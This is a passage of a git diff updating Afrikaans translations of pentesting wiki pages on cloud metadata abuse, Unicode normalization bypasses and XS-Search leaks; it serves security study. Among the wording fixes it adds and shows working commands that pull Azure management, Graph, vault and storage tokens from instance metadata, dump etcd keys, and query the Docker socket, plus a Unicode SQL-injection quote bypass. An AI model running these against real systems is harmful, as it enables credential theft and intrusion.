nie enige metadata-eindpunt vind wat al die MI's wat 'n VM het, aandui nie, so om al die toegewyde bestuurde identiteite aan 'n VM uit te vind, kan 'n moeilike taak wees vanuit 'n Red Team perspektief. > -> Daarom, om al die gekoppelde MI's te vind, kan jy doen: +> Daarom, om al die aangehegte MI's te vind, kan jy doen: > -> - Kry **gekoppelde identiteite met az cli** (as jy reeds 'n prinsiep in die Azure-huurder gecompromitteer het) +> - Kry **aangehegte identiteite met az cli** (as jy reeds 'n prinsiep in die Azure-huurder gecompromitteer het) > > ```bash > az vm identity show \ @@ -339,7 +339,7 @@ curl http://169.254.169.254/metadata/v1.json | jq > --name > ``` > -> - Kry **gekoppelde identiteite** met die standaard gekoppelde MI in die metadata: +> - Kry **aangehegte identiteite** deur die standaard aangehegte MI in die metadata te gebruik: > > ```bash > export API_VERSION="2021-12-13" @@ -357,7 +357,7 @@ curl http://169.254.169.254/metadata/v1.json | jq > export VM_NAME=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') > -> # Probeer om gekoppelde MI's te kry +> # Probeer om aangehegte MI's te kry > curl -s -H "Authorization: Bearer $TOKEN" \ > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` @@ -369,7 +369,7 @@ curl http://169.254.169.254/metadata/v1.json | jq > ``` > [!CAUTION] -> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **standaard MI gebruik word**. +> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen nie, sal die **standaard MI gebruik word**. {{#tabs}} {{#tab name="Bash"}} @@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http: $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) -# Paths +## Get management token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token + +## Get graph token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token + +## Get vault token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token + +## Get storage token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token + + +# More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text @@ -414,7 +427,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h {{#endtab}} {{#endtabs}} -### Azure App & Funksies Dienste & Outomatisering Rekeninge +### Azure App & Functions Dienste & Automatiseringsrekeninge Van die **env** kan jy die waardes van **`IDENTITY_HEADER`** en **`IDENTITY_ENDPOINT`** kry. Dit kan jy gebruik om 'n token te verskaf om met die metadata bediener te praat. @@ -426,7 +439,7 @@ Meestal wil jy 'n token vir een van hierdie hulpbronne hĂȘ: - [https://management.azure.com](https://management.azure.com/) > [!CAUTION] -> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **standaard MI gebruik word**. +> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **verstek MI gebruik word**. {{#tabs}} {{#tab name="Bash"}} @@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08 {{#endtab}} {{#tab name="PS"}} -```powershell +```bash # Define the API version $API_VERSION = "2019-08-01" @@ -511,7 +524,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID' ## IBM Cloud > [!WARNING] -> Let daarop dat metadata in IBM standaard nie geaktiveer is nie, so dit is moontlik dat jy nie toegang daartoe sal hĂȘ nie, selfs al is jy binne 'n IBM cloud VM +> Let op dat in IBM is metadata standaard nie geaktiveer nie, so dit is moontlik dat jy dit nie sal kan toegang nie, selfs al is jy binne 'n IBM cloud VM ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ @@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` -Dokumentasie vir verskeie platforms se metadata dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie en runtime inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata dienste te verkry. +Dokumentasie vir verskeie platforms se metadata-dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie- en tyds-inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata-dienste te verkry. ## Packetcloud @@ -549,13 +562,13 @@ Die noodsaaklikheid vir 'n kop is nie genoem nie. Metadata kan verkry word deur: ## HP Helion -Die noodsaaklikheid vir 'n kop word hier ook nie genoem nie. Metadata is toeganklik by: +Die noodsaaklikheid vir 'n kop word hier ook nie genoem nie. Metadata is beskikbaar by: - `http://169.254.169.254/2009-04-04/meta-data/` ## Oracle Cloud -Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskeie metadata aspekte: +Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskeie metadata-aspekte: - `http://192.0.0.192/latest/` - `http://192.0.0.192/latest/user-data/` @@ -564,7 +577,7 @@ Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskeie metadata aspekte: ## Alibaba -Alibaba bied eindpunte vir toegang tot metadata, insluitend instansie en beeld ID's: +Alibaba bied eindpunte vir toegang tot metadata, insluitend instansie- en beeld-ID's: - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` @@ -572,18 +585,18 @@ Alibaba bied eindpunte vir toegang tot metadata, insluitend instansie en beeld I ## Kubernetes ETCD -Kubernetes ETCD kan API sleutels, interne IP adresse, en poorte hou. Toegang word gedemonstreer deur: +Kubernetes ETCD kan API-sleutels, interne IP-adresse en poorte hou. Toegang word gedemonstreer deur: - `curl -L http://127.0.0.1:2379/version` - `curl http://127.0.0.1:2379/v2/keys/?recursive=true` ## Docker -Docker metadata kan plaaslik verkry word, met voorbeelde gegee vir houer en beeld inligting herwinning: +Docker metadata kan plaaslik verkry word, met voorbeelde gegee vir houer- en beeldinligting: -- Eenvoudige voorbeeld om toegang tot houers en beelde metadata via die Docker soket te verkry: +- Eenvoudige voorbeeld om toegang te verkry tot houers en beelde metadata via die Docker-soket: - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` -- Binne die houer, gebruik curl met die Docker soket: +- Binne die houer, gebruik curl met die Docker-soket: - `curl --unix-socket /var/run/docker.sock http://foo/containers/json` - `curl --unix-socket /var/run/docker.sock http://foo/images/json` diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 8d70e787b..b3e33302f 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -11,7 +11,7 @@ Unicode-normalisering is 'n proses wat verseker dat verskillende binĂȘre voorste 1. **Kanonieke Gelykheid**: Karakters word as kanoniek gelyk beskou as hulle dieselfde voorkoms en betekenis het wanneer dit gedruk of vertoon word. 2. **Compatibiliteitsgelykheid**: 'n Swakker vorm van gelykheid waar karakters dieselfde abstrakte karakter kan voorstel, maar anders vertoon kan word. -Daar is **vier Unicode-normaliseringsalgoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en kompatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken. +Daar is **vier Unicode-normalisering algoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en kompatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken. ### Sleutelpunte oor Unicode-kodering @@ -19,7 +19,7 @@ Om Unicode-kodering te verstaan, is van kardinale belang, veral wanneer dit kom - **Kodepunte en Karakters**: In Unicode word elke karakter of simbool 'n numeriese waarde toegeken wat bekend staan as 'n "kodepunt". - **Bytes Voorstelling**: Die kodepunt (of karakter) word deur een of meer bytes in geheue voorgestel. Byvoorbeeld, LATIN-1 karakters (algemeen in Engelssprekende lande) word met een byte voorgestel. egter, tale met 'n groter stel karakters benodig meer bytes vir voorstelling. -- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII-karakters met een byte voorgestel word, en tot vier bytes vir ander karakters. +- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII karakters met een byte voorgestel word, en tot vier bytes vir ander karakters. - **Verwerking van Data**: Stelsels wat data verwerk, moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel. - **Variantes van UTF**: Benewens UTF-8, is daar ander koderingstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik). @@ -41,9 +41,9 @@ Ander **voorbeeld**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0% ### **SQL Injection filter omseiling** -Stel jou 'n webblad voor wat die karakter `'` gebruik om SQL navrae met die gebruiker se invoer te skep. Hierdie webblad, as 'n sekuriteitsmaatreĂ«l, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruiker se invoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruiker se invoer met **Unicode**. +Stel jou 'n webblad voor wat die karakter `'` gebruik om SQL-navrae met die gebruikersinvoer te skep. Hierdie web, as 'n sekuriteitsmaatreĂ«l, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruikersinvoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruikersinvoer met **Unicode**. -Dan kan 'n kwaadwillige gebruiker 'n ander Unicode karakter wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87` invoeg, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn: +Dan kan 'n kwaadwillige gebruiker 'n ander Unicode-karakter wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87` invoeg, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) @@ -91,9 +91,9 @@ Let op dat die eerste Unicode-karakter wat voorgestel word, gestuur kan word as: ### Fuzzing Regexes -Wanneer die backend **gebruikersinvoer met 'n regex nagaan**, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit gebruik word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **genormaliseer** maar dan **dit soos dit is** benader. +Wanneer die backend **gebruikersinvoer met 'n regex nagaan**, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit gebruik word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **normaliseer** maar dan **dit soos dit is** benader. -Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* maak dit moontlik om **variasies van die invoer** te genereer om die backend te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**plasing**](https://0xacb.com/2022/11/21/recollapse/). +Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) laat jou toe om **variasies van die invoer** te genereer om die backend te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**plasing**](https://0xacb.com/2022/11/21/recollapse/). ## Unicode Overflow diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 08f67995d..950b53edd 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -8,8 +8,8 @@ XS-Search is 'n metode wat gebruik word om **kruis-oorsprong inligting** te **on Belangrike komponente wat betrokke is by hierdie aanval sluit in: -- **Kwetsbare Web**: Die teikenwebwerf waarvan inligting bedoel is om onttrek te word. -- **Aanvaller se Web**: Die kwaadwillige webwerf wat deur die aanvaller geskep is, wat die slagoffer besoek en die eksploit aanbied. +- **Kwetsbare Web**: Die teikenwebwerf waaruit inligting onttrek moet word. +- **Aanvaller se Web**: Die kwaadwillige webwerf wat deur die aanvaller geskep is, wat die slagoffer besoek en die ontploffing huisves. - **Insluitingsmetode**: Die tegniek wat gebruik word om die Kwetsbare Web in die Aanvaller se Web in te sluit (bv. window.open, iframe, fetch, HTML-tag met href, ens.). - **Lek Tegniek**: Tegnieke wat gebruik word om verskille in die toestand van die Kwetsbare Web te onderskei op grond van inligting wat deur die insluitingsmetode versamel is. - **Toestande**: Die twee potensiĂ«le toestande van die Kwetsbare Web, wat die aanvaller poog om te onderskei. @@ -21,25 +21,25 @@ Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te - **Statuskode**: Onderskeiding tussen **verskeie HTTP-responsstatuskodes** kruis-oorsprong, soos bedienerfoute, kliĂ«ntfoute, of outentikasiefoute. - **API Gebruik**: Identifisering van **gebruik van Web API's** oor bladsye, wat onthul of 'n kruis-oorsprong bladsy 'n spesifieke JavaScript Web API gebruik. -- **Herlidings**: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herleidings nie, maar ook diĂ© wat deur JavaScript of HTML geaktiveer word. +- **Herluidings**: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herluidings nie, maar ook diĂ© wat deur JavaScript of HTML geaktiveer word. - **Bladsy Inhoud**: Waarneming van **verskille in die HTTP-responsliggaam** of in bladsy sub-hulpbronne, soos die **aantal ingeslote rame** of grootteverskille in beelde. - **HTTP Kop**: Notering van die teenwoordigheid of moontlik die waarde van 'n **spesifieke HTTP-responskop**, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy. -- **Tydsduur**: Opmerking van konsekwente tydverskille tussen die twee toestande. +- **Tydsberekening**: Opmerking van konsekwente tydverskille tussen die twee toestande. ### Insluitingsmetodes -- **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevatting van potensiĂ«le HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). -- **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **gebrek aan raam beskerming** het, kan JavaScript toegang verkry tot die ingeslote hulpbron se venster objek via die contentWindow eienskap. -- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmelding gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies. -- **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herleidings te volg. +- **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevoeging van potensiĂ«le HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). +- **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **gebroke beskerming** ontbreek, kan JavaScript toegang verkry tot die ingeslote hulpbron se vensterobjek via die contentWindow eienskap. +- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmeld gebruik word, omseil die raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies. +- **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herluidings te volg. ### Lek Tegnieke - **Gebeurtenis Handler**: 'n Klassieke lek tegniek in XS-Leaks, waar gebeurtenis handlers soos **onload** en **onerror** insigte bied oor hulpbronlaai sukses of mislukking. -- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk van die foutboodskap of deur die teenwoordigheid en afwesigheid daarvan te onderskei. -- **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheue kapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien. +- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur te onderskei tussen die teenwoordigheid en afwesigheid daarvan. +- **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheuekapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien. - **Globale Toestand**: Waarneembare interaksies met die blaier se **globale toestande** (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die **aantal inskrywings** in 'n blaier se geskiedenis kan leidrade bied oor kruis-oorsprong bladsye. -- **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsduur vir die dokument en gelaaide hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak. +- **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsberekening vir die dokument en gelaaide hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak. - **Leesbare Eienskappe**: Sommige HTML-eienskappe is **leesbaar kruis-oorsprong** en kan as 'n lek tegniek gebruik word. Byvoorbeeld, die `window.frame.length` eienskap laat JavaScript toe om die rame wat in 'n webblad kruis-oorsprong ingesluit is, te tel. ## XSinator Gereedskap & Papier @@ -49,13 +49,13 @@ XSinator is 'n outomatiese hulpmiddel om **blaaiers teen verskeie bekende XS-Lea Jy kan **die hulpmiddel in** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op verkeerde konfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid. +> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op miskonfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) miskonfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid. ## **Tydgebaseerde tegnieke** -Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye op te spoor. Daar is verskillende maniere om tyd in 'n webblaaier te meet. +Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye te ontdek. Daar is verskillende maniere om tyd in 'n webblaaier te meet. -**Horlosies**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoĂ«-resolusie tydsmeetings te verkry.\ +**Horlosies**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoĂ«-resolusie tydsmetings te verkry.\ Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete horlosies te skep: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasies, en ander.\ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/). @@ -73,7 +73,7 @@ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt xs-search/cookie-bomb-+-onerror-xs-leak.md {{#endref}} -Die kode voorbeeld probeer om **scripts objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, oudio's kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas van om dit van JS af in te voeg). +Die kode voorbeeld probeer om **skrif objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, klank kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas daarvan om dit van JS in te voeg). Daar is ook 'n skrip-vrye weergawe van hierdie aanval: ```html @@ -88,8 +88,8 @@ In hierdie geval, as `example.com/404` nie gevind word nie, sal `attacker.com/?e - **Insluitingsmetodes**: HTML Elemente - **Waarneembare Verskil**: Tyd (generaal weens Bladsy Inhoud, Statuskode) - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) -- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoe lank dit neem om 'n versoek te doen. egter, ander horlosies kan gebruik word, soos [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms duur. -- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n ander voorbeeld in: +- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoe lank dit neem om 'n versoek te doen. Ander horlosies kan egter gebruik word, soos die [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms duur. +- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n Ander voorbeeld in: {{#ref}} xs-search/performance.now-example.md @@ -121,7 +121,7 @@ Die tyd wat geneem word om 'n hulpbron te verkry, kan gemeet word deur die [`unl - **Opsomming:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kan gebruik word om te meet hoe lank dit neem om 'n versoek te doen. Ander horlosies kan gebruik word. - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload` handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variabiliteit wat deur skripuitvoering ingebring word, te omseil, kan 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribuut binne die ` ``` -Daarom, wat jy kan doen, is om **'n baie rommel karakters** (Byvoorbeeld **duisende "W"s**) toe te voeg om die **webblad te vul voor die geheim of iets soos** `

.`\ -Dan, as ons **inspuiting byvoorbeeld voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel dit **verhoed om gelaai te word** (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat gebeur het in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/). +Daarom, wat jy kan doen, is om **'n baie rommel karakters** (Byvoorbeeld **duisende "W"s**) toe te voeg om **die webblad te vul voor die geheim of iets soos** `

.`\ +As ons byvoorbeeld **inspuiting voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel **voorkom dat dit gelaai word** (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat gebeur het in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/). 'n Ander opsie sou wees om die **scroll-to-text-fragment** te gebruik as dit toegelaat word: @@ -899,7 +899,7 @@ $( xs-search/css-injection/ {{#endref}} -## Verdedeigings +## Verdedigings Daar is verskeie versagings aanbeveel in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) ook in elke afdeling van die wiki [https://xsleaks.dev/](https://xsleaks.dev/). Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm. diff --git a/src/pentesting-web/xs-search/README.md b/src/pentesting-web/xs-search/README.md index 961d7721f..359cd41a0 100644 --- a/src/pentesting-web/xs-search/README.md +++ b/src/pentesting-web/xs-search/README.md @@ -21,7 +21,7 @@ Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te - **Statuskode**: Onderskeiding tussen **verskeie HTTP-responsstatuskodes** kruis-oorsprong, soos bedienerfoute, kliĂ«ntfoute, of outentikasiefoute. - **API Gebruik**: Identifisering van **gebruik van Web API's** oor bladsye, wat onthul of 'n kruis-oorsprong bladsy 'n spesifieke JavaScript Web API gebruik. -- **Herlidings**: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herleidings nie, maar ook diĂ© wat deur JavaScript of HTML geaktiveer word. +- **Herluidings**: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herluidings nie, maar ook diĂ© wat deur JavaScript of HTML geaktiveer word. - **Bladsy Inhoud**: Waarneming van **verskille in die HTTP-responsliggaam** of in bladsy sub-hulpbronne, soos die **aantal ingeslote rame** of grootteverskille in beelde. - **HTTP Kop**: Notering van die teenwoordigheid of moontlik die waarde van 'n **spesifieke HTTP-responskop**, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy. - **Tydsberekening**: Opmerking van konsekwente tydverskille tussen die twee toestande. @@ -29,15 +29,15 @@ Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te ### Insluitingsmetodes - **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevatting van potensiĂ«le HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). -- **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **gebrek aan raam beskerming** het, kan JavaScript toegang verkry tot die ingeslote hulpbron se venster objek via die contentWindow eienskap. -- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. 